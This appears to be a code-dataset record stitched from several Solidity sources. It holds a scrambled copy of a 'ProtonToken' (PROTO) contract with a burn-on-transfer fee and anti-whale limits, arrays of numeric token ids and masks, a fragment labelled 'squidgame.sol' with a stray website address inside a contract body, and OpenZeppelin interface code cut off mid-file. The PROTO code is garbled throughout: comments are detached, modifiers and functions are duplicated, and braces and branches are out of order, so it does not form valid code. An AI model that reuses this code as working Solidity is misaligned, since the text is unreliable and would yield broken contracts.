token to `_to`. Must only be called by the masterchef or by the secondary token(during swap) */ function mint(address _to, uint256 _amount) external virtual override onlyOwnerOrElectron { _mint(_to, _amount); } /// @dev overrides transfer function to meet tokenomics of PROTO function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { require(amount > 0, "amount 0"); if (recipient == BURN_ADDRESS) { // Burn all the amount super._burn(sender, amount); } else if (_excludedFromTransferFee[sender] || _excludedFromTransferFee[recipient]){ // Transfer all the amount super._transfer(sender, recipient, amount); } else { // 1.8% of every transfer burnt uint256 burnAmount = amount.mul(18).div(1000); // 98.2% of transfer sent to recipient uint256 sendAmount = amount.sub(burnAmount); require(amount == sendAmount + burnAmount, "PROTO::transfer: Burn value invalid"); super._burn(sender, burnAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } /** * @dev Transfers operator of the contract to a new account (`newOperator`). * Can only be called by the current operator. */ function transferOperator(address newOperator) public onlyOperator { require(newOperator != address(0), "ProtonToken::transferOperator: new operator is the zero address"); emit OperatorTransferred(_operator, newOperator); _operator = newOperator; } }
/ Address to the secondary token Addresses that excluded from antiWhale Addresses that excluded from transfer fee Max transfer amount rate in basis points. Eg: 50 - 0.5% of total supply (default the anti whale feature is turned off - set to 10000.) Minimum transfer amount rate in basis points. Deserved for user trust, we can't block users to send this token. maxTransferAmountRate cannot be lower than BASE_MIN_TRANSFER_AMOUNT_RATE The operator can only update the Anti Whale Settings Events
contract ProtonToken is ProtofiERC20 { address public electron; bool private _isElectronSetup = false; mapping(address => bool) private _excludedFromAntiWhale; mapping(address => bool) private _excludedFromTransferFee; uint16 public maxTransferAmountRate = 10000; address private _operator; event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); pragma solidity >= 0.6.12; This is the contract of the primary token. constructor() public ProtofiERC20("Protofi Token", "PROTO"){ _operator = msg.sender; emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } In that way the ownership can be transferred to the MasterChef without preventing devs to modify antiwhale settings. @dev similar to onlyOwner but used to handle the antiwhale side of the smart contract. modifier onlyOperator() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } sender is not whitelisted! Exludes sender to send more than a certain amount of tokens given settings, if the modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false ) { require(amount <= maxTransferAmount(), "PROTO::antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false ) { require(amount <= maxTransferAmount(), "PROTO::antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false ) { require(amount <= maxTransferAmount(), "PROTO::antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(10000); } function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyOperator { require(_maxTransferAmountRate <= 10000, "PROTO::updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); require(_maxTransferAmountRate >= BASE_MAX_TRANSFER_AMOUNT_RATE, "PROTO::updateMaxTransferAmountRate: _maxTransferAmountRate should be at least _maxTransferAmountRate"); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyOperator { _excludedFromAntiWhale[_account] = _excluded; } function isExcludedFromTransferFee(address _account) public view returns (bool) { return _excludedFromTransferFee[_account]; } function setExcludedFromTransferFee(address _account, bool _excluded) public onlyOperator { _excludedFromTransferFee[_account] = _excluded; } modifier onlyOwnerOrElectron() { require(isOwner() || isElectron(), "caller is not the owner or electron"); _; } function isOwner() public view returns (bool) { return msg.sender == owner(); } function isElectron() internal view returns (bool) { return msg.sender == address(electron); } function setupElectron(address _electron) external onlyOwner{ require(!_isElectronSetup, "The Electron token address has already been set up. No one can change it anymore."); electron = _electron; _isElectronSetup = true; } by the secondary token(during swap) @notice Creates `_amount` token to `_to`. Must only be called by the masterchef or function mint(address _to, uint256 _amount) external virtual override onlyOwnerOrElectron { _mint(_to, _amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { require(amount > 0, "amount 0"); if (recipient == BURN_ADDRESS) { super._burn(sender, amount); super._transfer(sender, recipient, amount); uint256 burnAmount = amount.mul(18).div(1000); uint256 sendAmount = amount.sub(burnAmount); require(amount == sendAmount + burnAmount, "PROTO::transfer: Burn value invalid"); super._burn(sender, burnAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { require(amount > 0, "amount 0"); if (recipient == BURN_ADDRESS) { super._burn(sender, amount); super._transfer(sender, recipient, amount); uint256 burnAmount = amount.mul(18).div(1000); uint256 sendAmount = amount.sub(burnAmount); require(amount == sendAmount + burnAmount, "PROTO::transfer: Burn value invalid"); super._burn(sender, burnAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } } else if (_excludedFromTransferFee[sender] || _excludedFromTransferFee[recipient]){ } else { function transferOperator(address newOperator) public onlyOperator { require(newOperator != address(0), "ProtonToken::transferOperator: new operator is the zero address"); emit OperatorTransferred(_operator, newOperator); _operator = newOperator; } }
12,993,610
[ 1, 19, 5267, 358, 326, 9946, 1147, 23443, 716, 8845, 628, 30959, 2888, 5349, 23443, 716, 8845, 628, 7412, 14036, 4238, 7412, 3844, 4993, 316, 10853, 3143, 18, 512, 75, 30, 6437, 300, 374, 18, 25, 9, 434, 2078, 14467, 261, 1886, 326, 30959, 600, 5349, 2572, 353, 21826, 3397, 300, 444, 358, 12619, 12998, 23456, 7412, 3844, 4993, 316, 10853, 3143, 18, 10597, 4920, 364, 729, 10267, 16, 732, 848, 1404, 1203, 3677, 358, 1366, 333, 1147, 18, 943, 5912, 6275, 4727, 2780, 506, 2612, 2353, 10250, 67, 6236, 67, 16596, 6553, 67, 2192, 51, 5321, 67, 24062, 1021, 3726, 848, 1338, 1089, 326, 18830, 77, 3497, 5349, 8709, 9043, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1186, 1917, 1345, 353, 1186, 88, 792, 77, 654, 39, 3462, 288, 203, 203, 565, 1758, 1071, 27484, 31, 203, 565, 1426, 3238, 389, 291, 28621, 7365, 273, 629, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 24602, 1265, 14925, 77, 2888, 5349, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 24602, 1265, 5912, 14667, 31, 203, 203, 565, 2254, 2313, 1071, 943, 5912, 6275, 4727, 273, 12619, 31, 203, 565, 1758, 3238, 389, 9497, 31, 203, 203, 565, 871, 11097, 1429, 4193, 12, 2867, 8808, 2416, 5592, 16, 1758, 8808, 394, 5592, 1769, 203, 565, 871, 4238, 5912, 6275, 4727, 7381, 12, 2867, 8808, 3726, 16, 2254, 5034, 2416, 4727, 16, 2254, 5034, 394, 4727, 1769, 203, 203, 683, 9454, 18035, 560, 1545, 374, 18, 26, 18, 2138, 31, 203, 2503, 353, 326, 6835, 434, 326, 3354, 1147, 18, 203, 565, 3885, 1435, 1071, 1186, 88, 792, 77, 654, 39, 3462, 2932, 21189, 792, 77, 3155, 3113, 315, 25455, 7923, 95, 203, 203, 3639, 389, 9497, 273, 1234, 18, 15330, 31, 203, 3639, 3626, 11097, 1429, 4193, 12, 2867, 12, 20, 3631, 389, 9497, 1769, 203, 203, 3639, 389, 24602, 1265, 14925, 77, 2888, 5349, 63, 2867, 12, 20, 25887, 273, 638, 31, 203, 3639, 389, 24602, 1265, 14925, 77, 2888, 5349, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 3639, 389, 24602, 1265, 14925, 77, 2888, 5349, 63, 38, 8521, 67, 15140, 65, 273, 638, 31, 203, 565, 289, 203, 203, 565, 657, 2 ]
./full_match/1/0xe3b8b8C9B5F29CB6607b137DB68338C23a57c2a2/sources/contracts/squidgame.sol
SPDX-License-Identifier: UNLICENSED
abstract contract Context { www.squidgamemeta.com function _msgSender() internal view virtual returns (address) { return msg.sender; } }
8,345,838
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 5019, 6065, 1157, 18204, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 1772, 288, 203, 5591, 18, 87, 26595, 13957, 3901, 18, 832, 203, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 